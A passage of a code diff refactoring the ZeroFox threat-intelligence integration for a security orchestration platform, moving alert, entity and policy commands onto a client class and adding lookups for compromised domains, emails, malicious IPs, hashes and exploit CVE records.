int) -> Dict: - """ - :param alert_id: The ID of the alert. - :return: HTTP request content. - """ - url_suffix: str = f'/alerts/{alert_id}/close/' - response_content: Dict = http_request('POST', url_suffix) - return response_content - - -def close_alert_command(): - alert_id: int = dict_value_to_integer(demisto.args(), 'alert_id') - close_alert(alert_id) - contents: Dict = alert_contents_request(alert_id) - context: Dict = {'ZeroFox.Alert(val.ID && val.ID === obj.ID)': {'ID': alert_id, 'Status': 'Closed'}} - return_outputs( - f'Successfully closed Alert {alert_id}.', - context, - raw_response=contents - ) -def open_alert(alert_id: int) -> Dict: +def get_phishing_content(phishing_record: dict[str, Any]) -> dict[str, Any]: + return { + "Domain": phishing_record.get("domain", ""), + "LastModified": phishing_record.get("scanned", ""), + "IPs": get_nested_key(phishing_record, ["host", "ip"], "") + } + + +def get_compromised_domain_content( + c2_domain_response: dict[str, Any], + phishing_response: dict[str, Any] +) -> list[dict[str, Any]]: """ - :param alert_id: The ID of the alert. - :return: HTTP request content. + It merges the content of c2_domain_response and phishing_response and + format it to be standardized as compromised domain content + + :param c2_domain_response: The response of the c2-domains CTI Feed + :param phishing_response: The response of the phishing CTI Feed + :return: A list of dictionaries representing the compromised domain content """ - url_suffix: str = f'/alerts/{alert_id}/open/' - response_content: Dict = http_request('POST', url_suffix) - return response_content + compromised_domain_content = [] + c2_domains_results = c2_domain_response.get("results", []) + compromised_domain_content += [ + get_c2_domain_content(record) for record in c2_domains_results + ] + + phishing_results = phishing_response.get("results", []) + compromised_domain_content += [ + get_phishing_content(record) for record in phishing_results + ] + + return compromised_domain_content -def open_alert_command(): - alert_id: int = dict_value_to_integer(demisto.args(), 'alert_id') - open_alert(alert_id) - contents: Dict = alert_contents_request(alert_id) - context: Dict = {'ZeroFox.Alert(val.ID && val.ID === obj.ID)': {'ID': alert_id, 'Status': 'Open'}} - return_outputs( - f'Successfully opened Alert {alert_id}.', - context, - raw_response=contents - ) +def get_email_address_content( + email_address_record: dict[str, Any] +) -> dict[str, Any]: + return { + "Domain": email_address_record.get("domain", ""), + "Email": email_address_record.get("email", ""), + "CreatedAt": email_address_record.get("created_at", ""), + } + + +def get_credentials_content( + credentials_record: dict[str, Any] +) -> dict[str, Any]: + return { + "Domain": credentials_record.get("domain", ""), + "Email": credentials_record.get("email", ""), + "CreatedAt": credentials_record.get("created_at", ""), + } -def alert_request_takedown(alert_id: int) -> Dict: + +def get_botnet_credentials_content( + botnet_credentials_record: dict[str, Any] +) -> dict[str, Any]: + return { + "Domain": botnet_credentials_record.get("domain", ""), + "Email": botnet_credentials_record.get("email", ""), + "CreatedAt": botnet_credentials_record.get("created_at", ""), + } + + +def get_compromised_email_content( + email_addressed_response: dict[str, Any], + credentials_response: dict[str, Any], + botnet_credentials_response: dict[str, Any], +) -> list[dict[str, Any]]: """ - :param alert_id: The ID of the alert. - :return: HTTP request content. + It merges the content of email_addressed_response, + credentials_response and botnet_credentials_response and + format it to be standardized as compromised email content + + :param email_addressed_response: The response of the email-addresses + :param credentials_response: The response of the compromised-credentials + :param botnet_credentials_response: The response of the + botnet-compromised-credentials + :return: A list of dictionaries representing the compromised email content """ - url_suffix: str = f'/alerts/{alert_id}/request_takedown/' - response_content: Dict = http_request('POST', url_suffix) - return response_content + compromised_email_content = [] + email_addresses_results = email_addressed_response.get("results", []) + compromised_email_content += [ + get_email_address_content(record) + for record in email_addresses_results + ] -def alert_request_takedown_command(): - alert_id: int = dict_value_to_integer(demisto.args(), 'alert_id') - alert_request_takedown(alert_id) - contents: Dict = alert_contents_request(alert_id) - context: Dict = {'ZeroFox.Alert(val.ID && val.ID === obj.ID)': {'ID': alert_id, 'Status': 'Takedown:Requested'}} - return_outputs( - f'Request to successfully take down Alert {alert_id}.', - context, - raw_response=contents - ) + credentials_results = credentials_response.get("results", []) + compromised_email_content += [ + get_credentials_content(record) + for record in credentials_results + ] + botnet_credentials_results = botnet_credentials_response.get("results", []) + compromised_email_content += [ + get_botnet_credentials_content(record) + for record in botnet_credentials_results + ] -def alert_cancel_takedown(alert_id: int) -> Dict: + return compromised_email_content + + +def get_botnet_ip_content(botnet_result: dict[str, Any]) -> dict[str, Any]: + return { + "CreatedAt": botnet_result.get("acquired_at", ""), + "IPAddress": botnet_result.get("ip_address", ""), + "Domain": botnet_result.get("c2_domain", ""), + } + + +def get_phishing_ip_content(botnet_result: dict[str, Any]) -> dict[str, Any]: + return { + "CreatedAt": botnet_result.get("scanned", ""), + "IPAddress": get_nested_key(botnet_result, ["host", "ip"]), + "Domain": botnet_result.get("domain", ""), + } + + +def get_malicious_ip_content( + botnet_response: dict[str, Any], + phishing_response: dict[str, Any] +) -> list[dict[str, Any]]: """ - :param alert_id: The ID of the alert. - :return: HTTP request content. + It merges the content of botnet_response and phishing_response and + format it to be standardized as malicious ip content + + :param botnet_response: The response of the botnet CTI Feed + :param phishing_response: The response of the phishing CTI Feed + :return: A list of dictionaries representing the malicious ip content """ - url_suffix: str = f'/alerts/{alert_id}/cancel_takedown/' - response_content: Dict = http_request('POST', url_suffix) - return response_content + malicious_ip_content = [] + + botnet_results = botnet_response.get("results", []) + malicious_ip_content += [ + get_botnet_ip_content(record) + for record in botnet_results + ] + + phishing_results = phishing_response.get("results", []) + malicious_ip_content += [ + get_phishing_ip_content(record) + for record in phishing_results + ] + + return malicious_ip_content + + +def get_malicious_hash_type_content( + malicious_hash_result: dict[str, Any], + hash_type: str +) -> dict[str, str]: + family_content = malicious_hash_result.get("family", []) + if not family_content: + family_content = [] + return { + "CreatedAt": malicious_hash_result.get("created_at", ""), + "Family": ", ".join(family_content), + "MD5": malicious_hash_result.get("md5", ""), + "SHA1": malicious_hash_result.get("sha1", ""), + "SHA256": malicious_hash_result.get("sha256", ""), + "SHA512": malicious_hash_result.get("sha512", ""), + "FoundHash": hash_type, + } -def alert_cancel_takedown_command(): - alert_id: int = dict_value_to_integer(demisto.args(), 'alert_id') - alert_cancel_takedown(alert_id) - contents: Dict = alert_contents_request(alert_id) - context: Dict = {'ZeroFox.Alert(val.ID && val.ID === obj.ID)': {'ID': alert_id, 'Status': 'Open'}} - return_outputs( - f'Successful cancelled takedown of Alert {alert_id}.', - context, - raw_response=contents - ) +def get_malicious_hash_content( + hash_type: str, + malicious_hash_response: dict[str, Any] +) -> list[dict[str, Any]]: + malicious_hash_content = [] + + malicious_hash_results = malicious_hash_response.get("results", []) + malicious_hash_content += [ + get_malicious_hash_type_content(record, hash_type) + for record in malicious_hash_results + ] + return malicious_hash_content + + +def get_exploit_content(exploit_result: dict[str, Any]) -> dict[str, str]: + return { + "CreatedAt": exploit_result.get("created_at", ""), + "CVECode": exploit_result.get("cve", ""), + "URLs": ", ".join(exploit_result.get("urls", [])), + } -def alert_user_assignment(alert_id: int, username: str) -> Dict: + +def get_exploits_content( + exploits_response: dict[str, Any] +) -> list[dict[str, Any]]: """ - :param alert_id: The ID of the alert. - :param username: The username we want to assign to the alert. - :return: HTTP request content. + It formats the exploits_response to be standardized as exploits content + + :param exploits_response: The response of the exploits CTI Feed + :return: A list of dictionaries representing the exploits content """ - url_suffix: str = f'/alerts/{alert_id}/assign/' - request_body: str = json.dumps({'subject': username}) - response_content: Dict = http_request('POST', url_suffix, data=request_body) - return response_content + exploits_content = [] + exploits_results = exploits_response.get("results", []) + exploits_content += [ + get_exploit_content(record) + for record in exploits_results + ] + + return exploits_content -def alert_user_assignment_command(): - alert_id: int = dict_value_to_integer(demisto.args(), 'alert_id') - username: str = demisto.args().get('username', '') - alert_user_assignment(alert_id, username) - contents: Dict = alert_contents_request(alert_id) - context: Dict = {'ZeroFox.Alert(val.ID && val.ID === obj.ID)': {'ID': alert_id, 'Assignee': username}} - return_outputs( - f'Successful assignment of {username} to alert {alert_id}.', - context, - raw_response=contents - ) +""" COMMANDS """ -def modify_alert_tags(alert_id: int, action: str, tags_list_string: str) -> Dict: + +def test_module(client: ZFClient) -> str: """ - :param alert_id: The ID of the alert. - :param action: action can be 'added' or 'removed'. It indicates what action we want to do i.e add/remove tags/ - :param tags_list_string: A string representation of the tags, separated by a comma ',' - :return: HTTP request content. + Performs basic get request to get item samples """ - url_suffix: str = '/alerttagchangeset/' - tags_list: list = argToList(tags_list_string, separator=',') - request_body: Dict = { - 'changes': [ - { - f'{action}': tags_list, - 'alert': alert_id - } - ] + client.get_policy_types() + return "ok" + + +def fetch_incidents( + client: ZFClient, + last_run: dict[str, str], + first_fetch_time: str +) -> tuple[dict[str, str], list[dict[str, Any]]]: + date_format = "%Y-%m-%dT%H:%M:%S.%f" + last_fetched = last_run.get("last_fetched") + last_offset_str: str = last_run.get("last_offset", "") + if last_fetched is None: + last_fetched = first_fetch_time + last_fetched = parse_date(last_fetched, date_formats=(date_format,)) + last_offset = int(last_offset_str) if last_offset_str else 0 + if last_fetched is None: + raise ValueError("last_fetched param is invalid") + + response_content = client.list_alerts( + { + "sort_direction": "asc", + "min_timestamp": last_fetched, + "offset": last_offset, + } + ) + alerts: list[dict[str, Any]] = response_content.get("alerts", []) + + next_run = { + "last_fetched": last_fetched.strftime(date_format), + "last_offset": str(last_offset), } - response_content: Dict = http_request('POST', url_suffix, data=json.dumps(request_body)) - return response_content - - -def modify_alert_tags_command(): - alert_id: int = dict_value_to_integer(demisto.args(), 'alert_id') - action_string: str = demisto.args().get('action', '') - action: str = 'added' if action_string == 'add' else 'removed' - tags_list_string: str = demisto.args().get('tags', '') - response_content: Dict = modify_alert_tags(alert_id, action, tags_list_string) - if not response_content.get('changes'): - raise Exception(f'Alert with ID {alert_id} does not exist') - contents: Dict = alert_contents_request(alert_id) - context: Dict = {'ZeroFox.Alert(val.ID && val.ID === obj.ID)': contents} - return_outputs( - 'Successful modification of tags.', - context + incidents: list[dict[str, Any]] = [] + + if not alerts: + return next_run, incidents + + integration_instance = demisto.integrationInstance() + for alert in alerts: + # Fields for mirroring alert + alert["mirror_direction"] = "In" + alert["mirror_instance"] = integration_instance + + incident = alert_to_incident(alert) + incidents.append(incident) + + next_page: str = response_content.get("next", "") + if next_page: + parsed_next_page = urlparse.urlparse(next_page) + parsed_query = urlparse.parse_qs(parsed_next_page.query) + next_run["last_offset"] = parsed_query.get("offset", ["0"])[0] + return next_run, incidents + + # max_update_time is the timestamp of the last alert in alerts + # (alerts is a sorted list by timestamp) + last_alert_timestamp = alerts[-1].get("timestamp", "") + + # add 1 millisecond to last alert timestamp, + # in order to prevent duplicated alerts + parsed_last_alert_timestamp = parse_date( + last_alert_timestamp, + date_formats=(date_format,), ) + if parsed_last_alert_timestamp is None: + raise ValueError("Incorrect timestamp in last alert " + "of fetch-incidents") + max_update_time = ( + parsed_last_alert_timestamp + timedelta(milliseconds=1) + ).strftime(date_format) + next_run["last_fetched"] = max_update_time + next_run["last_offset"] = "0" + + return next_run, incidents + + +def get_modified_remote_data_command( + client: ZFClient, + args: dict[str, Any] +) -> GetModifiedRemoteDataResponse: + args = GetModifiedRemoteDataArgs(args) + last_update = args.last_update + + # Get alerts created before `last_update` and modified after `last_update` + list_alert_params = { + "last_modified_min_date": str(last_update), + "max_timestamp": str(last_update), + } + try: + response_content = client.list_alerts(list_alert_params) + except Exception as e: + raise Exception(f"There was an error {e}, skip update") -def get_alert(alert_id: int) -> Dict: - """ - :param alert_id: The ID of the alert. - :return: HTTP request content. - """ - url_suffix: str = f'/alerts/{alert_id}/' - response_content: Dict = http_request('GET', url_suffix, continue_err=True) - return response_content + modified_alerts = response_content.get("alerts", []) + demisto.debug(f"Fetched {len(modified_alerts)} alerts with " + f"the following params: {list_alert_params}") + modified_alert_ids = [str(alert.get("id")) for alert in modified_alerts] + return GetModifiedRemoteDataResponse( + modified_incident_ids=modified_alert_ids, + ) -def get_alert_command(): - alert_id: int = dict_value_to_integer(demisto.args(), 'alert_id') - response_content: Dict = get_alert(alert_id) - alert: Dict = response_content.get('alert', {}) - if not alert or not isinstance(alert, Dict): - raise Exception(f'Alert with ID {alert_id} does not exist') - contents: Dict = get_alert_contents(alert) - human_readable: Dict = get_alert_human_readable_outputs(contents) - context: Dict = {'ZeroFox.Alert(val.ID && val.ID === obj.ID)': contents} - return_outputs( - tableToMarkdown(f'ZeroFox Alert {alert_id}', human_readable, removeNull=True), - context, - response_content + +def get_remote_data_command( + client: ZFClient, + args: dict[str, Any] +) -> GetRemoteDataResponse: + args = GetRemoteDataArgs(args) + alert_id = args.remote_incident_id + + response_content = client.get_alert(alert_id) + alert: dict[str, Any] = response_content.get("alert", {}) + demisto.debug(f"Alert fetched with id {alert.get('id')}") + + entries = [] + if alert.get("status") in CLOSED_ALERT_STATUS: + demisto.debug("Incident associated with " + "alert_id={alert_id} is being closed") + entries.append({ + "Contents": { + "dbotIncidentClose": True, + "closeReason": "Other", + "closeNotes": "Closed in ZeroFox" + }, + }) + + return GetRemoteDataResponse(mirrored_object=alert, entries=entries) + + +def get_alert_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + params = parse_dict_values_to_integer(args, ["alert_id"]) + alert_id: int = params.get("alert_id", "") + response_content = client.get_alert(alert_id) + alert: dict[str, Any] = response_content.get("alert", {}) + if not alert or not isinstance(alert, dict): + raise Exception(f"Alert with ID {alert_id} does not exist") + output = get_alert_contents(alert) + readable_output = get_human_readable_alerts(output) + return CommandResults( + outputs=output, + outputs_prefix="ZeroFox.Alert", + readable_output=readable_output, + outputs_key_field="ID", ) -def create_entity(name: str, strict_name_matching: bool = None, tags: list = None, - policy: int = None, organization: str = None) -> Dict: - """ - :param name: Name of the entity (may be non-unique). - :param strict_name_matching: Indicating type of string matching for comparing name to impersonators. - :param tags: List of string tags for tagging the entity. Seperated by a comma ','. - :param policy: The ID of the policy to assign to the new entity. - :param organization: Organization name associated with entity. - :return: HTTP request content. - """ - url_suffix: str = '/entities/' - request_body: Dict = { - 'name': name, - 'strict_name_matching': strict_name_matching, - 'labels': tags, - 'policy': policy, - 'policy_id': policy, - 'organization': organization - } - request_body = remove_none_dict(request_body) - response_content: Dict = http_request('POST', url_suffix, data=json.dumps(request_body)) - return response_content - - -def create_entity_command(): - name: str = demisto.args().get('name', '') - strict_name_matching: bool = bool(demisto.args().get('strict_name_matching', '')) - tags: str = demisto.args().get('tags', '') - tags: List = argToList(tags, ',') - policy_id: int = dict_value_to_integer(demisto.args(), 'policy_id') - organization: str = demisto.args().get('organization', '') - response_content: Dict = create_entity(name, strict_name_matching, tags, policy_id, organization) - entity_id: int = response_content.get('id', '') - return_outputs( - f'Successful creation of entity. ID: {entity_id}.', - {'ZeroFox.Entity(val.ID && val.ID === obj.ID)': { - 'ID': entity_id, - 'StrictNameMatching': strict_name_matching, - 'Name': name, - 'Tags': tags, - 'PolicyID': policy_id, - 'Organization': organization - }}, - response_content +def alert_user_assignment_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + params = parse_dict_values_to_integer(args, ["alert_id"]) + alert_id: int = params.get("alert_id", "") + username: str = args.get("username", "") + client.alert_user_assignment(alert_id, username) + response_content = client.get_alert(alert_id) + alert: dict[str, Any] = response_content.get("alert", {}) + contents = get_alert_contents(alert) + + return CommandResults( + readable_output="Successful assignment " + f"of {username} to alert {alert_id}.", + outputs=contents, + outputs_prefix="ZeroFox.Alert", + outputs_key_field="ID", ) -def get_entity_types() -> Dict: - """ - :return: HTTP request content. - """ - url_suffix: str = '/entities/types/' - response_content: Dict = http_request('GET', url_suffix) - return response_content +def close_alert_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + params = parse_dict_values_to_integer(args, ["alert_id"]) + alert_id: int = params.get("alert_id", "") + client.close_alert(alert_id) + response_content = client.get_alert(alert_id) + alert: dict[str, Any] = response_content.get("alert", {}) + contents = get_alert_contents(alert) + + return CommandResults( + readable_output=f"Successfully closed Alert {alert_id}.", + outputs=contents, + outputs_prefix="ZeroFox.Alert", + outputs_key_field="ID", + ) -def get_entity_types_command(): - response_content: Dict = get_entity_types() - entity_types: List = response_content.get('results', []) - human_readable = [] - for entity_type in entity_types: - type_name: str = entity_type.get('name', '') - type_id: int = entity_type.get('id', '') - human_readable.append({'Name': type_name, 'ID': type_id}) - headers = ['Name', 'ID'] - return_outputs( - readable_output=tableToMarkdown('ZeroFox Entity Types', human_readable, headers=headers, removeNull=True), - outputs={}, - raw_response=response_content +def open_alert_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + params = parse_dict_values_to_integer(args, ["alert_id"]) + alert_id: int = params.get("alert_id", "") + client.open_alert(alert_id) + response_content = client.get_alert(alert_id) + alert: dict[str, Any] = response_content.get("alert", {}) + contents = get_alert_contents(alert) + + return CommandResults( + readable_output=f"Successfully opened Alert {alert_id}.", + outputs=contents, + outputs_prefix="ZeroFox.Alert", + outputs_key_field="ID", ) -def get_policy_types() -> Dict: - """ - :return: HTTP request content. - """ - url_suffix: str = '/policies/' - response_content: Dict = http_request('GET', url_suffix) - return response_content +def alert_request_takedown_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + params = parse_dict_values_to_integer(args, ["alert_id"]) + alert_id: int = params.get("alert_id", "") + client.alert_request_takedown(alert_id) + response_content = client.get_alert(alert_id) + alert: dict[str, Any] = response_content.get("alert", {}) + contents = get_alert_contents(alert) + + return CommandResults( + readable_output=f"Request to successfully take down Alert {alert_id}.", + outputs=contents, + outputs_prefix="ZeroFox.Alert", + outputs_key_field="ID", + ) -def get_policy_types_command(): - response_content: Dict = get_policy_types() - policy_types: List = response_content.get('policies', []) - human_readable = [] - for policy_type in policy_types: - type_name: str = policy_type.get('name', '') - type_id: int = policy_type.get('id', '') - human_readable.append({'Name': type_name, 'ID': type_id}) - headers = ['Name', 'ID'] - return_outputs( - readable_output=tableToMarkdown('ZeroFox Policy Types', human_readable, headers=headers, removeNull=True), - outputs={}, - raw_response=response_content +def alert_cancel_takedown_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + params = parse_dict_values_to_integer(args, ["alert_id"]) + alert_id: int = params.get("alert_id", "") + client.alert_cancel_takedown(alert_id) + response_content = client.get_alert(alert_id) + alert: dict[str, Any] = response_content.get("alert", {}) + contents = get_alert_contents(alert) + + return CommandResults( + readable_output=f"Successful cancelled takedown of Alert {alert_id}.", + outputs=contents, + outputs_prefix="ZeroFox.Alert", + outputs_key_field="ID", ) -def list_alerts(params: Dict) -> Dict: - """ - :param params: The request's body parameters. - :return: HTTP request content. - """ - url_suffix: str = '/alerts/' - response_content: Dict = http_request('GET', url_suffix, params=params) - return response_content +def modify_alert_tags_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + params = parse_dict_values_to_integer(args, ["alert_id"]) + alert_id: int = params.get("alert_id", "") + action_string: str = args.get("action", "") + action: str = "added" if action_string == "add" else "removed" + tags_list_string: str = args.get("tags", "") + tags_list: list[str] = argToList(tags_list_string, separator=",") + response_content = client.modify_alert_tags( + alert_id, + action, + tags_list, + ) + if not response_content.get("changes"): + raise Exception(f"Alert with ID {alert_id} does not exist") + response_content = client.get_alert(alert_id) + alert: dict[str, Any] = response_content.get("alert", {}) + contents = get_alert_contents(alert) + + return CommandResults( + readable_output="Successful modification of tags.", + outputs=contents, + outputs_prefix="ZeroFox.Alert", + outputs_key_field="ID", + ) + + +def create_entity_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + params = parse_dict_values_to_integer(args, ["policy_id"]) + name = params.get("name", "") + raw_strict_name_matching = params.get("strict_name_matching", "") + strict_name_matching = raw_strict_name_matching == "true" + tags = params.get("tags", "") + tags: list[str] = argToList(tags, ",") + policy_id: int = params.get("policy_id", "") + organization = params.get("organization", "") + response_content = client.create_entity( + name, strict_name_matching, tags, policy_id, organization, + ) + entity_id: int = response_content.get("id", "") + + return CommandResults( + readable_output=f"Successful creation of entity. ID: {entity_id}.", + outputs={ + "ID": entity_id, + "StrictNameMatching": strict_name_matching, + "Name": name, + "Tags": tags, + "PolicyID": policy_id, + "Organization": organization, + }, + outputs_prefix="ZeroFox.Entity", + outputs_key_field="ID", + ) -def list_alerts_command(): - params: Dict = remove_none_dict(demisto.args()) +def list_alerts_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + params = remove_none_dict(args) # handle all integer query params - for key in ['entity', 'entity_term', 'last_modified', 'offset', 'page_id', 'rule_id']: - dict_value_to_integer(params, key) + params = parse_dict_values_to_integer(params, [ + "entity", "entity_term", "last_modified", "offset", "page_id", + "rule_id", "limit", + ]) # handle severity/risk_rating parameter - special case - risk_rating_string: str = params.get('risk_rating', '') + risk_rating_string = str(params.get("risk_rating", "")) if risk_rating_string: - del params['risk_rating'] - params['severity'] = severity_string_to_num(risk_rating_string) + del params["risk_rating"] + params["severity"] = severity_string_to_num(risk_rating_string) # handle limit parameter - special case - limit_str = params.get('limit') - if limit_str: - limit: int = dict_value_to_integer(params, 'limit') - if limit < 0 or limit > 100: - raise Exception('Incorrect limit. Limit should be 0 <= x <= 100.') - response_content: Dict = list_alerts(params) + limit: int = params.get("limit", "") + if limit and (limit < 0 or limit > 100): + raise Exception("Incorrect limit. Limit should be 0 <= x <= 100.") + response_content = client.list_alerts(params) if not response_content: - return_outputs('No alerts found.', outputs={}) - elif isinstance(response_content, Dict): - alerts: List = response_content.get('alerts', []) + return CommandResults(readable_output="No alerts found.", outputs=[]) + elif isinstance(response_content, dict): + alerts: list[dict[str, Any]] = response_content.get("alerts", []) if not alerts: - return_outputs('No alerts found.', outputs={}) + return CommandResults( + readable_output="No alerts found.", + outputs=[], + outputs_prefix="ZeroFox.Alert", + ) else: - contents: List = [get_alert_contents(alert) for alert in alerts] - human_readable: List = [get_alert_human_readable_outputs(content) for content in contents] - context: Dict = {'ZeroFox.Alert(val.ID && val.ID === obj.ID)': contents} - headers: List = ['ID', 'Protected Entity', 'Content Type', 'Alert Date', 'Status', 'Source', 'Rule', - 'Policy', 'Content Type', 'Risk Rating', 'Notes', 'Tags'] - return_outputs( - tableToMarkdown('ZeroFox Alerts', human_readable, headers=headers, removeNull=True), - context, - response_content + output: list[dict[str, Any]] = [ + get_alert_contents(alert) for alert in alerts + ] + readable_output = get_human_readable_alerts(output) + return CommandResults( + outputs=output, + readable_output=readable_output, + outputs_prefix="ZeroFox.Alert", ) else: - return_outputs('No alerts found.', outputs={}) - - -def list_entities(params: Dict) -> Dict: - """ - :param params: The request's body parameters. - :return: HTTP request content. - """ - url_suffix: str = '/entities/' - response_content: Dict = http_request('GET', url_suffix, params=params) - return response_content + return CommandResults( + readable_output="No alerts found.", + outputs=[], + outputs_prefix="ZeroFox.Alert", + ) -def list_entities_command(): - params: Dict = remove_none_dict(demisto.args()) +def list_entities_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + params = remove_none_dict(args) # handle all integer query params - for key in ['group', 'label', 'network', 'page', 'policy', 'type']: - dict_value_to_integer(params, key) - response_content: Dict = list_entities(params) + params = parse_dict_values_to_integer(params, [ + "group", "label", "network", "page", "policy", "type", + ]) + response_content = client.list_entities(params) if not response_content: - return_outputs('No entities found.', outputs={}) - elif isinstance(response_content, Dict): - entities: List = response_content.get('entities', []) + return CommandResults( + readable_output="No entities found.", + outputs=[], + outputs_prefix="ZeroFox.Entity", + ) + elif isinstance(response_content, dict): + entities: list[dict[str, Any]] = response_content.get("entities", []) if not entities: - return_outputs('No entities found.', outputs={}) + return CommandResults( + readable_output="No entities found.", + outputs=entities, + outputs_prefix="ZeroFox.Entity", + ) else: - contents: List = [get_entity_contents(entity) for entity in entities] - human_readable: List = [get_entity_human_readable_outputs(content) for content in contents] - context: Dict = {'ZeroFox.Entity(val.ID && val.ID === obj.ID)': contents} - headers: List = ['Name', 'Type', 'Policy', 'Email', 'Tags', 'ID'] - return_outputs( - tableToMarkdown('ZeroFox Entities', human_readable, headers=headers, removeNull=True), - context, - response_content + contents = [get_entity_contents(entity) for entity in entities] + human_readable = [ + get_entity_human_readable_outputs(content) + for content in contents + ] + headers = ["Name", "Type", "Policy", "Email", "Tags", "ID"] + return CommandResults( + readable_output=tableToMarkdown( + "ZeroFox Entities", + human_readable, + headers=headers, + removeNull=True, + ), + raw_response=response_content, + outputs=contents, + outputs_prefix="ZeroFox.Entity", ) + else: - return_outputs('No entities found.', outputs={}) + return CommandResults( + readable_output="No entities found.", + outputs=[], + outputs_prefix="ZeroFox.Entities", + ) -def fetch_incidents(): - date_format = '%Y-%m-%dT%H:%M:%S' - last_run = demisto.getLastRun() - if last_run and last_run.get('last_fetched_event_timestamp'): - last_update_time = last_run['last_fetched_event_timestamp'] - else: - last_update_time = parse_date_range(FETCH_TIME, date_format=date_format)[0] - incidents = [] - limit: int = int(demisto.params().get('fetch_limit', '')) - response_content = list_alerts({'sort_direction': 'asc', 'limit': limit, 'min_timestamp': last_update_time}) - alerts: List = response_content.get('alerts', []) - if alerts: - for alert in alerts: - incident = alert_to_incident(alert) - incidents.append(incident) - # max_update_time is the timestamp of the last alert in alerts (alerts is a sorted list) - last_alert_timestamp: str = str(alerts[-1].get('timestamp', '')) - # ZeroFox is using full timestamp ISO 8061 format which includes the GMT field i.e (+00:00/-00:00) - # The option to refine the search of alerts in the API is by the ISO 8061 format without the GMT field. - if '+' in last_alert_timestamp: - max_update_time = last_alert_timestamp.split('+')[0] - else: - max_update_time = last_alert_timestamp.split('-')[0] - # add 1 second to last alert timestamp, in order to prevent duplicated alerts - max_update_time = (datetime.strptime(max_update_time, date_format) + timedelta(seconds=1)).isoformat() - demisto.setLastRun({'last_fetched_event_timestamp': max_update_time}) - demisto.incidents(incidents) +def get_entity_types_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + response_content = client.get_entity_types() + entity_types: list[dict[str, Any]] = response_content.get("results", []) + human_readable = [] + for entity_type in entity_types: + type_name: str = entity_type.get("name", "") + type_id: int = entity_type.get("id", "") + human_readable.append({"Name": type_name, "ID": type_id}) + headers = ["Name", "ID"] + return CommandResults( + outputs=entity_types, + readable_output=tableToMarkdown( + "ZeroFox Entity Types", + human_readable, + headers=headers, + removeNull=True, + ), + outputs_prefix="ZeroFox.EntityTypes", + ) -def test_module(): - """ - Performs basic get request to get item samples - """ - get_policy_types() - demisto.results('ok') +def get_policy_types_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + response_content = client.get_policy_types() + policy_types: list[dict[str, Any]] = response_content.get("policies", []) + human_readable = [] + for policy_type in policy_types: + type_name: str = policy_type.get("name", "") + type_id: int = policy_type.get("id", "") + human_readable.append({"Name": type_name, "ID": type_id}) + headers = ["Name", "ID"] + + return CommandResults( + outputs=policy_types, + readable_output=tableToMarkdown( + "ZeroFox Policy Types", + human_readable, + headers=headers, + removeNull=True, + ), + outputs_prefix="ZeroFox.PolicyTypes", + raw_response=response_content, + ) + + +def modify_alert_notes_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + params = parse_dict_values_to_integer(args, ["alert_id"]) + alert_id: int = params.get("alert_id", "") + alert_notes: str = params.get("notes", "") + client.modify_alert_notes(alert_id, alert_notes) + response_content = client.get_alert(alert_id) + alert: dict[str, Any] = response_content.get("alert", {}) + contents = get_alert_contents(alert) + + return CommandResults( + readable_output="Successful note modification of alert " + f"with ID: {alert_id}", + outputs=contents, + outputs_prefix="ZeroFox.Alert", + outputs_key_field="ID", + ) + + +def submit_threat_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + source: str = args.get("source", "") + alert_type: str = args.get("alert_type", "") + violation: str = args.get("violation", "") + entity_id: str = args.get("entity_id", "") + response_content = client.submit_threat( + source, + alert_type, + violation, + entity_id, + ) + alert_id = response_content.get("alert_id") + if alert_id is None: + raise Exception("Threat couldn't be created") + output = f"Successful submission of threat. ID: {alert_id}." + response_content = client.get_alert(alert_id) + alert: dict[str, Any] = response_content.get("alert", {}) + contents = get_alert_contents(alert) + + return CommandResults( + readable_output=output, + raw_response=response_content, + outputs=contents, + outputs_prefix="ZeroFox.Alert", + outputs_key_field="ID", + ) + + +def compromised_domain_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + domain: str = args.get("domain", "") + + c2_domains_response = client.get_cti_c2_domains(domain) + phishing_response = client.get_cti_phishing(domain=domain) + outputs = get_compromised_domain_content( + c2_domains_response, + phishing_response, + ) + + if len(outputs) == 0: + return CommandResults( + readable_output="No compromised domains were found", + outputs=outputs, + outputs_prefix="ZeroFox.CompromisedDomains", + ) + return CommandResults( + readable_output=tableToMarkdown("Compromised domain Summary", outputs), + outputs=outputs, + outputs_prefix="ZeroFox.CompromisedDomains", + ) + + +def compromised_email_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + email: str = args.get("email", "") + + email_addresses_response = client.get_cti_email_addresses(email) + credentials_response = client.get_cti_compromised_credentials(email) + botnet_credentials_response = client\ + .get_cti_botnet_compromised_credentials(email) + + outputs = get_compromised_email_content( + email_addresses_response, + credentials_response, + botnet_credentials_response, + ) + if len(outputs) == 0: + return CommandResults( + outputs=outputs, + readable_output="No compromised emails were found", + outputs_prefix="ZeroFox.CompromisedEmails", + ) + return CommandResults( + outputs=outputs, + readable_output=tableToMarkdown( + "Compromised email Summary", + outputs, + ), + outputs_prefix="ZeroFox.CompromisedEmails", + ) + + +def malicious_ip_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + ip: str = args.get("ip", "") + + botnet_response = client.get_cti_botnet(ip) + phishing_response = client.get_cti_phishing(ip=ip) + + outputs = get_malicious_ip_content( + botnet_response, + phishing_response, + ) + + if len(outputs) == 0: + return CommandResults( + readable_output="No malicious ips were found", + outputs=outputs, + outputs_prefix="ZeroFox.MaliciousIPs", + ) + return CommandResults( + outputs=outputs, + readable_output=tableToMarkdown("Malicious ip Summary", outputs), + outputs_prefix="ZeroFox.MaliciousIPs", + ) + + +def malicious_hash_command( + client: ZFClient, + args: dict[str, Any] +) -> CommandResults: + 